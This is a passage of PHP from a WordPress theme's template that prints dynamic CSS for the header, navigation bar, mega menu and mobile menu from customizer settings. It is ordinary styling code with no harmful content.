			echo '.penci-header-builder .pcheader-icon > a, .penci-header-builder .penci-menuhbg-toggle, .penci-header-builder .top-search-classes a.cart-contents, .penci-header-builder .top-search-classes > a{ height: auto !important; line-height: unset !important; }';
			echo '.pcheader-icon.shoping-cart-icon > a > span, #navigation.sticky:not(.sticky-active) .pcheader-icon.shoping-cart-icon > a > span, .sticky-wrapper:not( .is-sticky ) .pcheader-icon.shoping-cart-icon > a > span{ top: calc( ' . esc_attr( $mainmenu_height ) . 'px/2 - 18px ) !important; }';
			echo '.penci-menuhbg-toggle, .show-search, .show-search form.pc-searchform input.search-input, #navigation.sticky:not(.sticky-active) .penci-menuhbg-toggle, #navigation.sticky:not(.sticky-active) .show-search, #navigation.sticky:not(.sticky-active) .show-search form.pc-searchform input.search-input, .sticky-wrapper:not( .is-sticky ) #navigation .penci-menuhbg-toggle,.sticky-wrapper:not( .is-sticky ) #navigation .show-search:not( .pcbds-overlay ), .sticky-wrapper:not( .is-sticky ) .show-search form.pc-searchform input.search-input{ height: ' . esc_attr( $mainmenu_height - 2 ) . 'px !important; }';
			echo '#navigation.sticky:not(.sticky-active) .show-search a.close-search, .sticky-wrapper:not( .is-sticky ) .show-search a.close-search{ height: ' . esc_attr( $mainmenu_height ) . 'px !important;line-height: ' . esc_attr( $mainmenu_height ) . 'px !important; }';
			echo '#navigation #logo img, #navigation.sticky:not(.sticky-active).header-6 #logo img, #navigation.header-6 #logo img{ max-height: ' . esc_attr( $mainmenu_height ) . 'px; }';
			echo 'body.rtl #navigation.sticky:not(.sticky-active) ul.menu > li > .sub-menu, body.rtl #navigation.header-6.sticky:not(.sticky-active) ul.menu > li > .sub-menu, body.rtl #navigation.header-6.sticky:not(.sticky-active) .menu > ul > li > .sub-menu, body.rtl #navigation.header-10.sticky:not(.sticky-active) ul.menu > li > .sub-menu, body.rtl #navigation.header-10.sticky:not(.sticky-active) .menu > ul > li > .sub-menu, body.rtl #navigation.header-11.sticky:not(.sticky-active) ul.menu > li > .sub-menu, body.rtl #navigation.header-11.sticky:not(.sticky-active) .menu > ul > li > .sub-menu, body.rtl #navigation-sticky-wrapper:not(.is-sticky) #navigation ul.menu > li > .sub-menu, body.rtl #navigation-sticky-wrapper:not(.is-sticky) #navigation.header-6 ul.menu > li > .sub-menu, body.rtl #navigation-sticky-wrapper:not(.is-sticky) #navigation.header-6 .menu > ul > li > .sub-menu, body.rtl #navigation-sticky-wrapper:not(.is-sticky) #navigation.header-10 ul.menu > li > .sub-menu, body.rtl #navigation-sticky-wrapper:not(.is-sticky) #navigation.header-10 .menu > ul > li > .sub-menu, body.rtl #navigation-sticky-wrapper:not(.is-sticky) #navigation.header-11 ul.menu > li > .sub-menu, body.rtl #navigation-sticky-wrapper:not(.is-sticky) #navigation.header-11 .menu > ul > li > .sub-menu{ top: ' . ( $mainmenu_height - 1 ) . 'px; }';
			echo '#navigation.header-10.sticky:not(.sticky-active):not(.penci-logo-overflow) #logo img, #navigation.header-11.sticky:not(.sticky-active):not(.penci-logo-overflow) #logo img, .sticky-wrapper:not( .is-sticky ) #navigation.header-10:not( .penci-logo-overflow ) #logo img, .sticky-wrapper:not( .is-sticky ) #navigation.header-11:not( .penci-logo-overflow ) #logo img { max-height: ' . ( $mainmenu_height ) . 'px; }';

			$header_layout = penci_soledad_get_header_layout();
			if ( $header_layout ) {
				echo '.sticky-wrapper:not( .is-sticky ) #navigation.' . $header_layout . '.menu-item-padding,#navigation.' . $header_layout . '.menu-item-padding.sticky:not(.sticky-active)';
				echo '.sticky-wrapper:not( .is-sticky ) #navigation.' . $header_layout . '.menu-item-padding ul.menu > li > a, #navigation.' . $header_layout . '.menu-item-padding.sticky:not(.sticky-active) ul.menu > li > a{ height: ' . esc_attr( $mainmenu_height ) . 'px; }';
			}

			echo '}';
		}
		if ( $mainmenu_height_sticky && $mainmenu_height_sticky > 29 ) {
			$fonts_lv1 = get_theme_mod( 'penci_font_size_lv1' ) ? get_theme_mod( 'penci_font_size_lv1' ) : 12;
			$fonts_lv1 = intval( $fonts_lv1 ) + 2;

			echo '@media only screen and (min-width: 961px){';
			echo '.sticky-wrapper.is-sticky #navigation, .is-sticky #navigation.menu-item-padding,.is-sticky #navigation.menu-item-padding, #navigation.sticky-active,#navigation.sticky-active.menu-item-padding,#navigation.sticky-active.menu-item-padding{  height: ' . esc_attr( $mainmenu_height_sticky ) . 'px !important; }';

			echo '.sticky-wrapper.is-sticky #navigation .menu>li>a,.sticky-wrapper.is-sticky .main-nav-social, #navigation.sticky-active .menu > li > a, #navigation.sticky-active .main-nav-social{ line-height: ' . esc_attr( $mainmenu_height_sticky - 2 ) . 'px !important; height: ' . esc_attr( $mainmenu_height_sticky - 2 ) . 'px !important; }';
			echo '#navigation.sticky-active.header-10.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-10.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-11.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-11.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-1.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-1.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-4.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-4.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-7.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-7.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-6.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-6.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-9.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-9.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-2.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-2.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-3.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-3.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-5.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-5.menu-item-padding ul.menu > li > a,';
			echo '#navigation.sticky-active.header-8.menu-item-padding ul.menu > li > a, .is-sticky #navigation.header-8.menu-item-padding ul.menu > li > a{ height: ' . esc_attr( $mainmenu_height_sticky ) . 'px !important; line-height: ' . esc_attr( $mainmenu_height_sticky ) . 'px !important; }';

			echo '.is-sticky .top-search-classes a.cart-contents, .is-sticky #navigation #penci-header-bookmark > a, #navigation.sticky-active .main-nav-social, #navigation.sticky-active .pcheader-icon > a, .is-sticky .main-nav-social,.is-sticky .pcheader-icon > a,';
			echo '#navigation.sticky-active .penci-menuhbg-toggle, .sticky-wrapper.is-sticky #navigation .penci-menuhbg-toggle,';
			echo '#navigation.sticky-active .show-search, #navigation.sticky-active .show-search form.pc-searchform input.search-input, .sticky-wrapper.is-sticky .show-search, .sticky-wrapper.is-sticky .show-search form.pc-searchform input.search-input,';
			echo '.sticky-wrapper.is-sticky #navigation .pc_dm_mode, #navigation.sticky-active .show-search a.close-search, .sticky-wrapper.is-sticky .show-search a.close-search{ height: ' . esc_attr( $mainmenu_height_sticky - 2 ) . 'px !important; line-height: ' . esc_attr( $mainmenu_height_sticky - 2 ) . 'px !important; }';

			echo '#navigation.sticky-active.header-6 #logo img, .is-sticky #navigation.header-6 #logo img{ max-height: ' . esc_attr( $mainmenu_height_sticky ) . 'px; }';

			echo '#navigation.sticky-active .pcheader-icon.shoping-cart-icon > a > span, .sticky-wrapper.is-sticky .pcheader-icon.shoping-cart-icon > a > span{ top: calc( ' . esc_attr( $mainmenu_height_sticky ) . 'px/2 - 18px ) !important; }';

			echo '#navigation.sticky-active ul.menu > li > a:before, #navigation.sticky-active .menu > ul > li > a:before, .sticky-wrapper.is-sticky #navigation ul.menu > li > a:before, .sticky-wrapper.is-sticky #navigation .menu > ul > li > a:before{ bottom: calc( ' . esc_attr( $mainmenu_height_sticky ) . 'px/2 - ' . $fonts_lv1 . 'px ) !important; }';

			echo 'body.rtl #navigation.sticky-active ul.menu > li > .sub-menu, body.rtl #navigation-sticky-wrapper.is-sticky #navigation ul.menu > li > .sub-menu,';
			echo 'body.rtl #navigation.sticky-active.header-6 ul.menu > li > .sub-menu, body.rtl #navigation-sticky-wrapper.is-sticky #navigation.header-6 ul.menu > li > .sub-menu,';
			echo 'body.rtl #navigation.sticky-active.header-6 .menu > ul > li > .sub-menu, body.rtl #navigation-sticky-wrapper.is-sticky #navigation.header-6 .menu > ul > li > .sub-menu,';
			echo 'body.rtl #navigation.sticky-active.header-10 ul.menu > li > .sub-menu, body.rtl #navigation-sticky-wrapper.is-sticky #navigation.header-10 ul.menu > li > .sub-menu,';
			echo 'body.rtl #navigation.sticky-active.header-10 .menu > ul > li > .sub-menu, body.rtl #navigation-sticky-wrapper.is-sticky #navigation.header-10 .menu > ul > li > .sub-menu,';
			echo 'body.rtl #navigation.sticky-active.header-11 ul.menu > li > .sub-menu, body.rtl #navigation-sticky-wrapper.is-sticky #navigation.header-11 ul.menu > li > .sub-menu,';
			echo 'body.rtl #navigation.sticky-active.header-11 .menu > ul > li > .sub-menu, body.rtl #navigation-sticky-wrapper.is-sticky #navigation.header-11 .menu > ul > li > .sub-menu{ top: ' . ( $mainmenu_height_sticky - 1 ) . 'px; }';

			echo '#navigation.sticky-active.header-10:not(.penci-logo-overflow) #logo img, #navigation.sticky-active.header-11:not(.penci-logo-overflow) #logo img, .is-sticky #navigation.header-10:not( .penci-logo-overflow ) #logo img, .is-sticky #navigation.header-11:not( .penci-logo-overflow ) #logo img { max-height: ' . ( $mainmenu_height_sticky ) . 'px; }';
			echo '}';
		}
		?>
		<?php if ( get_theme_mod( 'penci_mainmenu_height_mobile' ) && 30 < get_theme_mod( 'penci_mainmenu_height_mobile' ) ):
			$mmbheight = get_theme_mod( 'penci_mainmenu_height_mobile' );
			?>
            @media only screen and (max-width: 960px){
            #navigation, .show-search a.close-search{ height: <?php echo $mmbheight; ?>px !important; }
            #navigation .button-menu-mobile, .show-search a.close-search{ line-height: <?php echo $mmbheight; ?>px !important; }
            #navigation .pc_dm_mode, .top-search-classes a.cart-contents, #navigation #penci-header-bookmark > a, .pcheader-icon > a, .show-search, .show-search form.pc-searchform input.search-input, .penci-menuhbg-toggle{ height: <?php echo( $mmbheight - 2 ); ?>px !important; }
            #navigation .pc_dm_mode, .top-search-classes a.cart-contents, #navigation #penci-header-bookmark > a, .pcheader-icon > a, .main-nav-social{ line-height: <?php echo( $mmbheight - 2 ); ?>px !important; }
            .penci-mobile-hlogo img, #navigation.header-6 #logo img{ max-height: <?php echo $mmbheight; ?>px !important; }
            }
		<?php endif; ?>
		<?php if ( $header_bgcolor ): ?>
            #header .inner-header { background-color: <?php echo $header_bgcolor; ?>; background-image: none; }
		<?php endif; ?>
		<?php if ( $header_bgimg ): ?>
            #header .inner-header { background-image: url('<?php echo $header_bgimg; ?>'); }
		<?php endif; ?>
		<?php if ( $main_bar_bgcolor ): ?>
            #navigation, .show-search { background: <?php echo $main_bar_bgcolor; ?>; }
            @media only screen and (min-width: 960px){ #navigation.header-11 > .container { background: <?php echo $main_bar_bgcolor; ?>; }}
		<?php endif; ?>
		<?php if ( $main_bar_bgimg ): ?>
            #navigation, .show-search { background-image: url('<?php echo $main_bar_bgimg; ?>'); }
            @media only screen and (min-width: 960px){ #navigation.header-11 > .container { background-image: url('<?php echo $main_bar_bgimg; ?>'); }}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_remove_line_hover' ) ): ?>
            #navigation ul.menu > li > a:before, #navigation .menu > ul > li > a:before{ content: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_remove_line_slogan' ) ): ?>
            .header-slogan .header-slogan-text:before, .header-slogan .header-slogan-text:after{ content: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_main_bar_border_color' ) ): ?>
			.navigation, .navigation.header-layout-bottom,
            #navigation, #navigation.header-layout-bottom { border-color: <?php echo get_theme_mod( 'penci_main_bar_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_main_bar_nav_color' ) ): ?>
			.navigation .menu > li > a, .navigation .menu .sub-menu li a,
            #navigation .menu > li > a, #navigation .menu .sub-menu li a { color:  <?php echo get_theme_mod( 'penci_main_bar_nav_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_main_bar_color_active' ) ): ?>
			.navigation .menu > li > a:hover, .navigation .menu li.current-menu-item > a, .navigation .menu > li.current_page_item > a, .navigation .menu > li:hover > a, .navigation .menu > li.current-menu-ancestor > a, .navigation .menu > li.current-menu-item > a, .navigation .menu .sub-menu li a:hover, .navigation .menu .sub-menu li.current-menu-item > a, .navigation .sub-menu li:hover > a,
            #navigation .menu > li > a:hover, #navigation .menu li.current-menu-item > a, #navigation .menu > li.current_page_item > a, #navigation .menu > li:hover > a, #navigation .menu > li.current-menu-ancestor > a, #navigation .menu > li.current-menu-item > a, #navigation .menu .sub-menu li a:hover, #navigation .menu .sub-menu li.current-menu-item > a, #navigation .sub-menu li:hover > a { color:  <?php echo get_theme_mod( 'penci_main_bar_color_active' ); ?>; }
            .navigation ul.menu > li > a:before, .navigation .menu > ul > li > a:before,
            #navigation ul.menu > li > a:before, #navigation .menu > ul > li > a:before { background: <?php echo get_theme_mod( 'penci_main_bar_color_active' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_main_bar_padding_color' ) ): ?>
			.navigation.menu-item-padding .menu > li > a:hover, .navigation.menu-item-padding .menu > li:hover > a, .navigation.menu-item-padding .menu > li.current-menu-item > a, .navigation.menu-item-padding .menu > li.current_page_item > a, .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .navigation.menu-item-padding .menu > li.current-menu-item > a,
            #navigation.menu-item-padding .menu > li > a:hover, #navigation.menu-item-padding .menu > li:hover > a, #navigation.menu-item-padding .menu > li.current-menu-item > a, #navigation.menu-item-padding .menu > li.current_page_item > a, #navigation.menu-item-padding .menu > li.current-menu-ancestor > a, #navigation.menu-item-padding .menu > li.current-menu-item > a { background-color:  <?php echo get_theme_mod( 'penci_main_bar_padding_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_drop_bg_color' ) ): ?>
            #navigation.menu-style-3 .menu .sub-menu:after, .navigation.menu-style-3 .menu .sub-menu:after { border-bottom-color: <?php echo get_theme_mod( 'penci_drop_bg_color' ); ?>; }
            #navigation.menu-style-3 .menu .sub-menu .sub-menu:after,.navigation.menu-style-3 .menu .sub-menu .sub-menu:after { border-right-color:  <?php echo get_theme_mod( 'penci_drop_bg_color' ); ?>; }
            #navigation .menu .sub-menu, #navigation .menu .children, #navigation ul.menu > li.megamenu > ul.sub-menu { background-color:  <?php echo get_theme_mod( 'penci_drop_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_drop_items_border' ) ): ?>
			.navigation .menu .sub-menu, #navigation .menu .children, .navigation ul.menu ul.sub-menu li > a, .navigation .menu ul ul.sub-menu li a, .navigation.menu-style-2 .menu .sub-menu, .navigation.menu-style-2 .menu .children,
            #navigation .menu .sub-menu, #navigation .menu .children, #navigation ul.menu ul.sub-menu li > a, #navigation .menu ul ul.sub-menu li a, #navigation.menu-style-2 .menu .sub-menu, #navigation.menu-style-2 .menu .children { border-color:  <?php echo get_theme_mod( 'penci_drop_items_border' ); ?>; }
            .navigation .penci-megamenu .penci-mega-child-categories a.cat-active,
            #navigation .penci-megamenu .penci-mega-child-categories a.cat-active { border-top-color: <?php echo get_theme_mod( 'penci_drop_items_border' ); ?>; border-bottom-color: <?php echo get_theme_mod( 'penci_drop_items_border' ); ?>; }
            .navigation ul.menu > li.megamenu > ul.sub-menu > li:before, .navigation .penci-megamenu .penci-mega-child-categories:after,
            #navigation ul.menu > li.megamenu > ul.sub-menu > li:before, #navigation .penci-megamenu .penci-mega-child-categories:after { background-color: <?php echo get_theme_mod( 'penci_drop_items_border' ); ?>; }
            #navigation.menu-style-3 .menu .sub-menu,
            .navigation.menu-style-3 .menu .sub-menu,
            .navigation.menu-style-3 .menu .penci-dropdown-menu,
            #navigation.menu-style-3 .menu .children,
            #navigation.menu-style-3 .menu .penci-dropdown-menu,
            .navigation.menu-style-3 .menu .children, .penci-dropdown-menu{ border-color: <?php echo get_theme_mod( 'penci_drop_items_border' ); ?>; }
            #navigation.menu-style-3 .menu .sub-menu:before,
            .navigation.menu-style-3 .menu .sub-menu:before{ border-bottom-color: <?php echo get_theme_mod( 'penci_drop_items_border' ); ?>; }
            #navigation.menu-style-3 .menu .sub-menu .sub-menu:before,
            .navigation.menu-style-3 .menu .sub-menu .sub-menu:before{ border-right-color: <?php echo get_theme_mod( 'penci_drop_items_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_bg_color' ) ): ?>
			.navigation .penci-megamenu, #navigation .penci-megamenu .penci-mega-child-categories a.cat-active,
            .navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before,
            #navigation .penci-megamenu, #navigation .penci-megamenu .penci-mega-child-categories a.cat-active,
            #navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before { background-color: <?php echo get_theme_mod( 'penci_mega_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_child_cat_bg_color' ) ): ?>
			.navigation .penci-megamenu .penci-mega-child-categories, .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.cat-active,
            #navigation .penci-megamenu .penci-mega-child-categories, #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.cat-active { background-color: <?php echo get_theme_mod( 'penci_mega_child_cat_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_post_date_color' ) ): ?>
			.navigation .penci-megamenu .pcmis-2 .penci-mega-date,
            .navigation .penci-megamenu .penci-mega-date, .navigation .penci-megamenu .pcmis-2 .penci-mega-date,
			#navigation .penci-megamenu .pcmis-2 .penci-mega-date,
            #navigation .penci-megamenu .penci-mega-date, #navigation .penci-megamenu .pcmis-2 .penci-mega-date { color: <?php echo get_theme_mod( 'penci_mega_post_date_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_post_date_color_25' ) ): ?>
			.navigation .penci-megamenu .penci-content-megamenu.pcmis-2 .penci-mega-post .penci-mega-date,
			#navigation .penci-megamenu .penci-content-megamenu.pcmis-2 .penci-mega-post .penci-mega-date,
			.navigation .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-date,
			#navigation .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-date { color: <?php echo get_theme_mod( 'penci_mega_post_date_color_25' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_border_style2' ) ): ?>
			.navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after, .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:before, .menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before,
            #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after, #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:before, .menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before{ background-color: <?php echo get_theme_mod( 'penci_mega_border_style2' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_title_color' ) ): ?>
			.navigation .menu .sub-menu li .post-mega-title a,
            #navigation .menu .sub-menu li .post-mega-title a { color:  <?php echo get_theme_mod( 'penci_mega_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_title_color_25' ) ): ?>
			#navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a:not(:hover),
			.navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a:not(:hover),
			.navigation .menu ul.sub-menu li .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) a:not(:hover),
			#navigation .menu ul.sub-menu li .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) a:not(:hover){ color: <?php echo get_theme_mod( 'penci_mega_title_color_25' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_post_category_color' ) ): ?>
			.navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name,
            #navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name { color: <?php echo get_theme_mod( 'penci_mega_post_category_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_mega_accent_color' ) ): ?>
			.navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a:hover,
            .navigation .penci-megamenu .penci-mega-child-categories a.cat-active, .navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post a:hover,
			#navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a:hover,
            #navigation .penci-megamenu .penci-mega-child-categories a.cat-active, #navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, #navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post a:hover { color: <?php echo get_theme_mod( 'penci_mega_accent_color' ); ?>; }
            #navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name { background: <?php echo get_theme_mod( 'penci_mega_accent_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_size_header_social_check' ) ): ?>
            .header-social a i, .main-nav-social a { font-size: <?php echo get_theme_mod( 'penci_size_header_social_check' ); ?>px; }
            .header-social a svg, .main-nav-social a svg{ width: <?php echo get_theme_mod( 'penci_size_header_social_check' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'size_header_search_icon_check' ) ): ?>
            .pcheader-icon .search-click{ font-size: <?php echo get_theme_mod( 'size_header_search_icon_check' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'size_header_search_input' ) ): ?>
            .show-search form.pc-searchform input.search-input{ font-size: <?php echo get_theme_mod( 'size_header_search_input' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'size_header_cart_icon_check' ) ): ?>
            .pcheader-icon.shoping-cart-icon > a > i{ font-size: <?php echo get_theme_mod( 'size_header_cart_icon_check' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_topbar_menu_uppercase' ) ): ?>
            #navigation .menu > li > a, #navigation ul.menu ul.sub-menu li > a, .navigation ul.menu ul.sub-menu li > a, #navigation .penci-megamenu .penci-mega-child-categories a, .navigation .penci-megamenu .penci-mega-child-categories a{ text-transform: none; }
            #navigation .penci-megamenu .post-mega-title a{ text-transform: uppercase; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_lv1' ) ): ?>
            #navigation ul.menu > li > a, #navigation .menu > ul > li > a { font-size: <?php echo get_theme_mod( 'penci_font_size_lv1' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_drop' ) ): ?>
            #navigation ul.menu ul.sub-menu li > a, #navigation .penci-megamenu .penci-mega-child-categories a, #navigation .penci-megamenu .post-mega-title a, #navigation .menu ul ul.sub-menu li a { font-size: <?php echo get_theme_mod( 'penci_font_size_drop' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_hidesocial_nav' ) ): ?>
            @media only screen and (max-width: 767px){ .main-nav-social{ display: none; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_title_cat_mega' ) ): ?>
			#navigation .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n + 1) .penci-mega-post-inner .penci-mega-meta .post-mega-title a { font-size:<?php echo get_theme_mod( 'penci_font_size_title_cat_mega' ) * 1.28; ?>px; }
            #navigation .penci-megamenu .post-mega-title a, .pc-builder-element .navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a{ font-size:<?php echo get_theme_mod( 'penci_font_size_title_cat_mega' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_child_cat_mega' ) ): ?>
            #navigation .penci-megamenu .penci-mega-child-categories a, .pc-builder-element.pc-main-menu .navigation .menu li .penci-mega-child-categories a{ font-size: <?php echo get_theme_mod( 'penci_font_size_child_cat_mega' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_cat_mega' ) ): ?>
            #navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name, .navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name { font-size:<?php echo get_theme_mod( 'penci_font_size_cat_mega' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_date_mega' ) ): ?>
            #navigation .penci-megamenu .penci-mega-date, .navigation .penci-megamenu .penci-mega-date { font-size:<?php echo get_theme_mod( 'penci_font_size_date_mega' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_vernav_remove_line' ) ): ?>
            #sidebar-nav-logo{ padding-bottom: 0; } #sidebar-nav-logo:before { content: none; display: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_vernav_fsearchinput' ) ): ?>
            #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input{ font-size:<?php echo get_theme_mod( 'penci_vernav_fsearchinput' ); ?>px; }
		<?php endif; ?>
		<?php 
		$penci_vernav_width = get_theme_mod( 'penci_vernav_width' );
		if ( $penci_vernav_width ): 
			$penci_vernav_width = max(200, min($penci_vernav_width, 330));
			?>
            body{ --pcsnav-w:<?php echo $penci_vernav_width; ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_icons_mobile_nav' ) ): ?>
            #sidebar-nav .header-social.sidebar-nav-social a i { font-size: <?php echo get_theme_mod( 'penci_font_icons_mobile_nav' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_mobile_nav' ) ): ?>
            #sidebar-nav .menu li a { font-size: <?php echo get_theme_mod( 'penci_font_size_mobile_nav' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_vernav_off_uppercase' ) ): ?>
            #sidebar-nav .menu li a { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_menu_hbg' ) ): ?>
            .penci-menu-hbg .menu li a { font-size: <?php echo get_theme_mod( 'penci_font_size_menu_hbg' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_submenu_hbg' ) ): ?>
            .penci-menu-hbg .menu ul.sub-menu li a { font-size: <?php echo get_theme_mod( 'penci_font_size_submenu_hbg' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_menu_hbg_lowcase' ) ): ?>
            .penci-menu-hbg .menu li a { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_off_uppercase_cat_mega' ) ): ?>
            #navigation .penci-megamenu .post-mega-title a, .pc-builder-element .navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a{ text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_slogan_color' ) ): ?>
            .header-slogan .header-slogan-text { color:  <?php echo get_theme_mod( 'penci_header_slogan_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_slogan_line_color' ) ): ?>
            .header-slogan .header-slogan-text:before, .header-slogan .header-slogan-text:after { background:  <?php echo get_theme_mod( 'penci_header_slogan_line_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_drop_text_color' ) ): ?>
            #navigation .menu .sub-menu li a { color:  <?php echo get_theme_mod( 'penci_drop_text_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_drop_text_hover_color' ) ): ?>
            #navigation .menu .sub-menu li a:hover, #navigation .menu .sub-menu li.current-menu-item > a, #navigation .sub-menu li:hover > a { color:  <?php echo get_theme_mod( 'penci_drop_text_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_drop_border_style2' ) ): ?>
            #navigation.menu-style-2 ul.menu ul.sub-menu:before, #navigation.menu-style-2 .menu ul ul.sub-menu:before { background-color: <?php echo get_theme_mod( 'penci_drop_border_style2' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_main_bar_search_magnify' ) ): ?>
            .top-search-classes a.cart-contents, .pcheader-icon > a, #navigation .button-menu-mobile,.top-search-classes > a, #navigation #penci-header-bookmark > a { color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; }
            #navigation .button-menu-mobile svg { fill: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; }
            .show-search form.pc-searchform input.search-input::-webkit-input-placeholder{ color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; }
            .show-search form.pc-searchform input.search-input:-moz-placeholder { color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; opacity: 1;}
            .show-search form.pc-searchform input.search-input::-moz-placeholder {color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; opacity: 1; }
            .show-search form.pc-searchform input.search-input:-ms-input-placeholder { color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; }
            .penci-search-form form input.search-input::-webkit-input-placeholder{ color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; }
